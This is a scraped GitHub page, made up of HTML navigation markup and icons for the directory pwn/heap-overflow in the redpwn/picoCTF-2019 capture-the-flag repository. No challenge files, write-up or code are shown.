flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this organization </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> redpwn </span> <span>/</span> picoCTF-2019
<span></span><span>Public</span> </div>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>2</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>9</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/redpwn/picoCTF-2019/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Pull requests Actions Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":211591085,"originating_url":"https://github.com/redpwn/picoCTF-2019/tree/master/pwn/heap-overflow","user_id":null}}" data-hydro-click-hmac="ec54bf92cb8c7eb55c8bf634372a40558d26355b1d74b8e12c44aa1f22493f74"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/redpwn/picoCTF-2019/refs" cache-key="v0:1569724467.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="cmVkcHduL3BpY29DVEYtMjAxOQ==" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/redpwn/picoCTF-2019/refs" cache-key="v0:1569724467.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="cmVkcHduL3BpY29DVEYtMjAxOQ==" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>picoCTF-2019</span></span></span><span>/</span><span><span>pwn</span></span><span>/</span>heap-overflow<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>picoCTF-2019</span></span></span><span>/</span><span><span>pwn</span></span><span>/</span>heap-overflow<span>/</span></div>
